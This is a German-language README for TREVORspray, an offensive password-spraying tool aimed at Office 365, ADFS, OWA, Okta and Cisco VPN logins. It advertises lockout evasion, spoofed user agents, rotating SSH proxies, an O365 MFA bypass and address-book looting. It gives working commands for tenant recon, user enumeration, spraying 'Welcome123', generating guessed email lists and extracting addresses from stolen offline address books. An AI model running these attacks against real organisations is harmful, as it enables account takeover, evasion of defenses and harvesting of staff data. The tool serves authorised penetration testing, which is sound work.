TREVORspray 2.0

TREVORspray ist ein modularer Password-Sprayer mit Threading, SSH-Proxy, Loot-Modulen und mehr!

Von @thetechr0mancer

Installation:

pip install git+https://github.com/blacklanternsecurity/trevorproxy
pip install git+https://github.com/blacklanternsecurity/trevorspray

Siehe den begleitenden Blogbeitrag für eine unterhaltsame Tirade und coole Demos!

Funktionen

• Threads, viele Threads
• Mehrere Module
  • msol (Office 365)
  • adfs (Active Directory Federation Services)
  • owa (Outlook Web App)
  • okta (Okta SSO)
  • anyconnect (Cisco VPN)
  • benutzerdefinierte Module (einfach zu erstellen!)
• Zeigt den Status jedes Kontos an: ob es existiert, gesperrt ist, MFA aktiviert hat usw.
• Automatisches Abbrechen/Fortsetzen (merkt sich bereits ausprobiere Benutzer/Passwort-Kombinationen in ~/.trevorspray/tried_logins.txt)
• Round-Robin-Proxy über mehrere IPs mit --ssh oder --subnet
• Automatisches unendliches Wiederverbinden/Wiederholen, falls ein Proxy ausfällt (oder Sie die Internetverbindung verlieren)
• Spoofed User-Agent und andere Signaturen, um wie legitimer Authentifizierungsverkehr auszusehen
• Umfassendes Logging
• Optionale --delay, --jitter und --lockout-delay zwischen Anfragen, um Sperr-Gegenmaßnahmen zu umgehen
• IPv6-Unterstützung
• O365 MFA-Bypass-Unterstützung (deaktivieren mit --no-loot)
  • IMAP
  • SMTP
  • POP
  • EWS (Exchange Web Services) - Ruft automatisch das GAL (Global Address Book) ab
  • EAS (Exchange ActiveSync)
    • Empfohlener Bypass: BlueMail Android-App
  • EXO (Exchange Online PowerShell)
  • UM (Exchange Unified Messaging)
  • AutoDiscover - Ruft automatisch das OAB (Offline Address Book) ab
  • Azure Portal Access
• Domain---recon mit folgenden Funktionen:
  • MX/TXT-Einträge auflisten
  • O365-Informationen auflisten
    • Tenant-ID
    • Tenant-Name
    • Andere Tenant-Domänen
    • SharePoint-URL
    • Authentifizierungs-URLs, Autodiscover, Federation-Konfiguration usw.
  • Benutzerenumeration (verwende --recon und --users):
    • OneDrive
    • Azure Seamless SSO

Anleitung - O365

• Erstellen Sie zunächst eine Liste mit E-Mail-Adressen für corp.com und führen Sie einen Spray durch, um zu sehen, ob die Standardkonfiguration funktioniert. Normalerweise tut sie das.
• Wenn TREVORspray sagt, dass die E-Mails in Ihrer Liste nicht existieren, geben Sie nicht auf. Holen Sie sich den token_endpoint mit --recon corp.com. Der token_endpoint ist die URL, gegen die Sie sprayen (mit der Option --url).
• Es kann etwas Experimentieren erfordern, bevor Sie die richtige Kombination aus token_endpoint + E-Mail-Format finden.
  • Zum Beispiel: Wenn Sie corp.com angreifen, könnte es sein, dass Sie nicht einfach gegen corp.com sprayen können. Sie könnten feststellen, dass Corps Muttergesellschaft Evilcorp ihren Azure-Tenant besitzt, was bedeutet, dass Sie gegen den token_endpoint von evilcorp.com sprayen müssen. Außerdem könnte die interne Domain corp.local anstelle von corp.com verwendet werden.
  • Letztendlich sprayen Sie also statt [email protected] gegen den token_endpoint von corp.com nun [email protected] gegen den von evilcorp.com.

Beispiel: Recon gegen eine Domain durchführen (Ruft Tenant-Informationen, Autodiscover, MX-Einträge usw. ab)

trevorspray --recon evilcorp.com
...
    "token_endpoint": "https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token"
...

Beispiel: Benutzer über OneDrive enumerieren (keine fehlgeschlagenen Anmeldungen)

trevorspray --recon evilcorp.com -u emails.txt --threads 10

Beispiel: Spray gegen die entdeckte 'token_endpoint'-URL

trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token

Beispiel: Spray mit 5-Sekunden-Verzögerung zwischen Anfragen

trevorspray -u [email protected] -p 'Welcome123' --delay 5

Beispiel: Spray und Round-Robin zwischen 3 IPs (die aktuelle IP wird ebenfalls verwendet, sofern nicht -n angegeben)

trevorspray -u emails.txt -p 'Welcome123' --ssh [email protected] [email protected]

Beispiel: Gültige Benutzernamen ohne OSINT finden >:D

# clone wordsmith dataset
wget https://github.com/skahwah/wordsmith/releases/download/v2.1.1/data.tar.xz && tar -xvf data.tar.xz && cd data

# order first initial by occurrence
ordered_letters=asjmkdtclrebnghzpyivfowqux

# loop through first initials
echo -n $ordered_letters | while read -n1 f; do
  # loop through top 2000 USA last names
  head -n 2000 'usa/lnames.txt' | while read last; do
    # generate emails in f.last format
    echo "${f}.${last}@evilcorp.com"
  done
done | tee f.last.txt

trevorspray -u f.last.txt -p 'Welcome123'

Daten aus heruntergeladenen LZX-Dateien extrahieren

Wenn TREVORspray erfolgreich MFA umgeht und ein Offline-Adressbuch (OAB) abruft, wird das Adressbuch im LZX-Format nach ~/.trevorspray/loot heruntergeladen. LZX ist ein alter und lästiger Kompressionsalgorithmus von Microsoft.

# get libmspack (for extracting LZX file)
git clone https://github.com/kyz/libmspack
cd libmspack/libmspack/
./rebuild.sh
./configure
make

# extract LZX file
./examples/.libs/oabextract ~/.trevorspray/loot/deadbeef-ce01-4ec9-9d08-1050bdc41131-data-1.lzx oab.bin
# extract all strings
strings oab.bin
# extract and dedupe emails
egrep -oa '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}' oab.bin | tr '[:upper:]' '[:lower:]' | sort -u

TREVORspray - Hilfe:

$ trevorspray --help
usage: trevorspray [-h] [-m {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}] [-up USERPASS [USERPASS ...]] [-u USERS [USERS ...]] [-p PASSWORDS [PASSWORDS ...]] [--url URL]
                   [-r DOMAIN] [--export-tenants FILE] [-t THREADS] [-f] [-d DELAY] [-ld LOCKOUT_DELAY] [-j JITTER] [-e] [-nl] [--ignore-lockouts] [--timeout TIMEOUT] [--random-useragent]
                   [-6] [--proxy PROXY] [-v] [-s USER@SERVER [USER@SERVER ...]] [-i KEY] [-b BASE_PORT] [-n] [--subnet SUBNET] [--interface INTERFACE]

A password sprayer with the option to load-balance traffic through SSH hosts

options:
  -h, --help            show this help message and exit

basic arguments:
  -m, --module {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}
                        Spray module to use (default: msol)
  -up, --userpass USERPASS [USERPASS ...]
                        file(s) containing username and password pairs (format: 'username:password')
  -u, --users USERS [USERS ...]
                        Usernames(s) and/or file(s) containing usernames
  -p, --passwords PASSWORDS [PASSWORDS ...]
                        Password(s) and/or file(s) containing passwords
  --url URL             The URL to spray against
  -r, --recon, --enumerate DOMAIN
                        Retrieves MX records and info related to authentication, email, Azure, Microsoft 365, etc. If --usernames are specified, this also enables username enumeration.
  --export-tenants FILE
                        Export all discovered tenant domains to a file

advanced arguments:
  Round-robin traffic through remote systems via SSH (overrides --threads)